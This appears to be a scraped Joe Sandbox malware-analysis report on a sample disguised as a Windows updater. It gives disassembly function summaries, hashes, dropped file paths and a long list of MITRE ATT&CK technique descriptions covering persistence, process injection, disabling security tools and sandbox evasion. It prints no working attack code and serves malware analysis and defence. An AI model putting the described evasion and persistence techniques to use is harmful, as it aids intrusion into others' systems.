Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: f1264b5a04d764a612995242d86a984c5a14185e95d01cb63db9c92e379b23d7
Instruction ID: a488b09e2d31083f0b88c4b658210503eed0f351a819091692a68d3d89bf4b7d
Opcode Fuzzy Hash: f1264b5a04d764a612995242d86a984c5a14185e95d01cb63db9c92e379b23d7
Instruction Fuzzy Hash: A2E0223B209A252AD26132393C8ABEB0A49CFC2331B150229FA0552683EE458C8300B0

Uniqueness

Uniqueness Score: -1.00%

Function 000E82A1 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,000F0D4E,?,00000000,?,?,000F0FEF,?,00000007,?,?,000F149A,?,?), ref: 000E82B7
GetLastError.KERNEL32(?,?,000F0D4E,?,00000000,?,?,000F0FEF,?,00000007,?,?,000F149A,?,?), ref: 000E82C2

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: a3fc0bd29eafa236c5bb714e9e97a385dc71c1bfa30842fba1844c7931995ad6
Instruction ID: a1f88c4462726c6e949726399bdbd9d57e1a83df2f16507c2daca58537e19611
Opcode Fuzzy Hash: a3fc0bd29eafa236c5bb714e9e97a385dc71c1bfa30842fba1844c7931995ad6
Instruction Fuzzy Hash: 5FE0CD31100704AFDB212FB1EC0D7963FD9EB40351F14C029F60CD69A2CA718881CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 000CE730 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 0006D310: GetTempPathW.KERNEL32(00000104,?,8726ECAD,?), ref: 0006D35F

Part of subcall function 00064250: GetProcessHeap.KERNEL32 ref: 000642A5

Part of subcall function 0006C4A0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,80070057,8726ECAD), ref: 0006C4CD
Part of subcall function 0006C4A0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000000,00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 0006C504

CreateDirectoryW.KERNEL32(?,00000000,?,?,?,00000000), ref: 000CE86C

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: ByteCharMultiWide$CreateDirectoryHeapPathProcessTemp
String ID:
API String ID: 488741987-0
Opcode ID: 598b3df66e885f6353b227e3730d89ffcaee4cffe5b242deabb2c9d41a0e54dc
Instruction ID: a440573b891dcefa129269717e88b7474412f53a9aba815d6bb34aa5d5a5e188
Opcode Fuzzy Hash: 598b3df66e885f6353b227e3730d89ffcaee4cffe5b242deabb2c9d41a0e54dc
Instruction Fuzzy Hash: E3417071900649DFDB24DF68CC55BEEB7A9FF44320F14862DE8299B292DB749A04CF90

Uniqueness

Uniqueness Score: -1.00%

Function 000E82DB Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,000E5F73,?,000E98E3,?,00000000,?,000E1A83,00000000,000E5F73,00000004,?,00000000,?,000E5D6D), ref: 000E830D

Memory Dump Source

Source File: 0000001C.00000002.2533254784.0000000000061000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00060000, based on PE: true

Associated: 0000001C.00000002.2533231425.0000000000060000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534199498.000000000013C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001C.00000002.2534273383.000000000013F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_60000_Windows Updater.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5c9da794b9b23f04bf00949deabf549db9eb203a363acbc83d5b0f4f8ed12879
Instruction ID: 06b0889df1fa3d2965ccf8d6cba683dd298497cbcb00dd7edde0c6689237e8a5
Opcode Fuzzy Hash: 5c9da794b9b23f04bf00949deabf549db9eb203a363acbc83d5b0f4f8ed12879
Instruction Fuzzy Hash: 81E06D312012A29ED6712A779C09B9B7A99AF41FA4F558121FC0CF6592DF60CE4187E1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZmWSzgevgt.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

(copy)

680af9.rbf (copy)

680afa.rbf (copy)

680aff.rbf (copy)

680b04.rbf (copy)

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\System Updater.msi

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\Windows Updater.exe

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\decoder.dll

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\holder0.aiph

Windows Analysis Report
ZmWSzgevgt.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre